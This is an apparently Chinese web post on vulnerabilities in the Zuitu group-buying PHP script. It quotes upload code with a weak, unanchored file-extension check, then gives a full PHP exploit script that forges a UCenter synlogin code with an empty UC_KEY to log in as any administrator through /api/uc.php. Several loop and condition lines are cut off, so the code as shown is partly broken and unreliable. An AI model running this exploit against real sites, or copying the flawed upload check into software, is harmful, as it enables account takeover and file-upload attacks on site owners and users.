最土团购的一些漏洞 - 脚本漏洞

第25行：

$upext='txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid';

第65行：

                $fileinfo=pathinfo($upfile['name']);
                $extension=strtolower($fileinfo['extension']);
                if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension))
                {
                        $filesize=$upfile['size'];
                        if($filesize > $maxattachsize)$err='文件大小超过'.$maxattachsize.'字节';
                        else
                        {
                                $year = date('Y');
                                $day = date('md');
                                $n = time().rand(1000,9999).'.jpg';
                                $attach_dir = IMG_ROOT . "/team/{$year}/{$day}";
                                RecursiveMkdir( IMG_ROOT . "/team/{$year}/{$day}" );
                                $fname= time().rand(1000,9999).'.'.$extension;
                                $target = $attach_dir.'/'.$fname;
                                if ( is_resource($upfile['tmp_name']) ) {
                                        $data = fread($upfile['tmp_name'], $filesize);
                                        file_put_contents($target, $data);
                                        fclose($upfile['tmp_name']);

以下是引用片段：

print_r('
---------------------------------------
Zuitu UC_key Uninitialized Vul Exploit
By xZL
Team: www.0kee.com
2010.10.01
---------------------------------------
');
if ($argc
print_r('
Usage: php '.$argv[0].' username
username: the admin username
Example: php '.$argv[0].' admin
');
die();
}

error_reporting(0);

$username = $argv[1];
$key = '';

$code = 'time=11111111111&username='.$username.'&action=synlogin';
$x = urlencode(authcode($code, "ENCODE", $key));
print_r('Plz copy this code~~ enjoy it~~ ^_^

/api/uc.php?code='.$x);

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>